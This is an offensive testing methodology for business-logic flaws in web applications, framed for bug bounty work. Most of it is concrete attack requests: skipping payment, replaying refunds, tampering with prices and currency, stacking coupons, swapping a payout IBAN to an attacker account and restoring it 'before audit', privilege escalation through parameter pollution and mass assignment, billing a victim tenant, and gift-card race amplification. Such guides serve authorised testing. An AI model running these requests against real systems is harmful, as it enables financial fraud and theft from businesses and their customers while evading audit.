Business Logic — Offensive Testing Methodology

Business logic flaws are the highest-paying class of vulnerability for bug bounty and the hardest for scanners to detect. They live in the gap between what the developer specified and what an attacker can convince the system to accept.

Quick Workflow

1. Map every multi-step flow as a state machine (states + allowed transitions + side effects)
2. For each transition, ask: who can call it, in what state, with what inputs, how many times
3. Probe each axis (state, identity, input, frequency) for assumptions
4. Combine flaws — single-axis flaws are usually low severity; chains are critical
5. Quantify financial impact per finding (loss-per-attack × scale)

Reconnaissance — Mapping the Logic

Build the State Machine

For each user flow, draw:

• States: cart, pending payment, paid, shipped, refunded, cancelled
• Transitions: which API/UI action, which role, which preconditions
• Side effects: balance change, inventory change, email, webhook

Look for transitions that:

• Skip intermediate states (cart → shipped without paid)
• Are reversible when they shouldn't be (shipped → cart)
• Trigger side effects more than once
• Allow cross-role invocation

Hidden / Internal Endpoints

# Compare authenticated and unauthenticated JS bundles for buried admin routes
diff <(curl https://app/main.js) <(curl -H "Cookie: ..." https://app/main.js)

# Look for flag/feature toggles that change UI but not server-side enforcement
grep -E '(isAdmin|isInternal|featureFlag|debug)' bundle.js

# API spec (OpenAPI/Swagger) often lists endpoints the UI never calls
curl https://app/api/openapi.json | jq '.paths | keys'

Workflow / State-Machine Bypass

Skip a Required Step

# Normal flow: /verify-email → /set-password → /enable-2fa → /dashboard
# Try jumping directly:
GET /dashboard
GET /api/account/details
POST /api/payout-settings

# Checkout flow: /cart → /address → /shipping → /payment → /confirm
# Skip /payment by replaying /confirm with a previous order's payment-token reference:
POST /api/order/confirm
{ "cartId": "current", "paymentRef": "<old-paid-order-payment-ref>" }

Replay a One-Time Action

# Refund endpoint without idempotency
POST /api/orders/123/refund   # First call: $50 refunded, order marked refunded
POST /api/orders/123/refund   # Second call: server checks "is order refunded?" — race the check (see TOCTOU)

State Downgrade

Move a finalized object back to an editable state where mutations have effect:

PUT /api/order/123
{ "status": "draft" }   # If accepted, you can now edit the price field
PUT /api/order/123
{ "items": [{ "id": "tv", "price": 1 }] }

Direct Endpoint Invocation

Many admin/backend transitions are reachable from any authenticated user if route-level RBAC is missing while the UI hides them.

# Enumerate verbs on every discovered path
for path in $(cat paths.txt); do
  for v in GET POST PUT PATCH DELETE OPTIONS; do
    code=$(curl -s -o /dev/null -w "%{http_code}" -X $v -H "Authorization: Bearer $T" https://app$path)
    echo "$v $path $code"
  done
done | grep -v -E ' (401|403|404) '

Price / Quantity / Currency Manipulation

Negative / Zero / Float Quantities

POST /api/cart/add
{ "sku": "tv", "qty": -1 }      # Refund issued for adding negative items?
{ "sku": "tv", "qty": 0.0001 }  # Float rounding: $0 line item, full product shipped?
{ "sku": "tv", "qty": 9e99 }    # Overflow → wraps to small number, $0 cost?

Hidden Price Fields

POST /api/checkout
{ "items": [{"sku":"tv","qty":1,"price":1}], "total": 1, "tax": 0, "shipping": 0 }

If the server trusts client-supplied price, you set the price. Test every numeric field — price, total, discount, tax, shipping, subtotal, currency.

Currency Confusion

POST /api/checkout
{ "amount": 100, "currency": "JPY" }   # Pay 100 JPY (~$0.65) for $100 USD product?
{ "amount": 100, "currency": "VND" }   # Even better
{ "amount": 100, "currency": "BTC" }   # Or worse: pay in BTC at $1 BTC = $1?

Look for: missing currency normalization, sloppy FX rate caching, currency lookup by user input.

Coupon / Discount Logic

# Apply same coupon multiple times
POST /api/cart/coupon { "code": "SAVE50" }
POST /api/cart/coupon { "code": "SAVE50" }   # Stacks?
POST /api/cart/coupon { "code": "save50" }   # Case sensitivity gives second slot?
POST /api/cart/coupon { "code": "SAVE50 " }  # Whitespace ditto?

# Coupon for a different product
POST /api/cart/apply-coupon { "code": "FREEMOUSE", "appliedTo": "macbook" }

# Negative discount (becomes a surcharge that reduces total when coupon stacked with another)
POST /api/admin/coupon { "code": "X", "percent": -50 }   # If admin endpoint reachable

# Expired coupon: change date in payload?
POST /api/cart/coupon { "code": "BLACKFRIDAY", "appliedAt": "2023-11-25T00:00:00Z" }

Cart Tampering

# Add a cheap item, edit the SKU server-side
POST /api/cart/add { "sku": "pen", "qty": 1 }
PUT  /api/cart/items/abc { "sku": "macbook" }      # SKU swap with pen's price retained?

Refund / Chargeback / Payout Abuse

Refund More Than You Paid

POST /api/orders/123/refund { "amount": 99999 }

Refund After Returning Less

Order ships 5 items, you return 1, request refund for full order. Logic should compute refund per returned item; if it computes per order, free items.

Convert Refund to Different Method

POST /api/orders/123/refund { "method": "store-credit" }
# vs original card payment → store credit can be transferred / sold

Payout Account Race

PUT  /api/payout-account { "iban": "ATTACKER" }
POST /api/withdraw { "amount": 1000 }
PUT  /api/payout-account { "iban": "ORIGINAL" }   # Restore before audit

Identity / Tenant / Role Boundary

Role Confusion via Multipart / Parameter Pollution

POST /api/users/me
role=user&role=admin              # Last-wins parser → admin
{"role": "user", "role": "admin"} # JSON last-wins

Tenant ID Substitution in Hidden Field

POST /api/invoices
{ "amount": 100, "tenantId": "victim-corp", "billTo": "attacker" }
# Charges victim-corp for attacker's order

Mass Assignment / Field Whitelist

PUT /api/users/me
{ "email": "x@y.com", "isAdmin": true, "credits": 10000, "tenantId": "victim" }

Test every field that exists on the model, not just those the form exposes.

Indirect Privilege via Object Linking

POST /api/projects/PUBLIC-PROJECT/share-token   # Anyone can mint
GET  /api/projects/PUBLIC-PROJECT/internal-only-data?token=...
# Sharing API meant for collaborators bypasses role check on data API

Race Conditions on Logic Boundaries

Logic checks that read state, then act on state, are TOCTOU-vulnerable. (Also see: offensive-toctou, offensive-race-condition.)

Single-Packet Multi-Request

# Burp Repeater "Send group in parallel (single-packet attack)" — HTTP/2 over TLS,
# all requests' last frames sent in one TCP segment. Server processes them concurrently.

Common Logic Races

Amplification

# Send 30 parallel "redeem $10 gift card" requests, all see balance = $10
# Result: $300 credited from a $1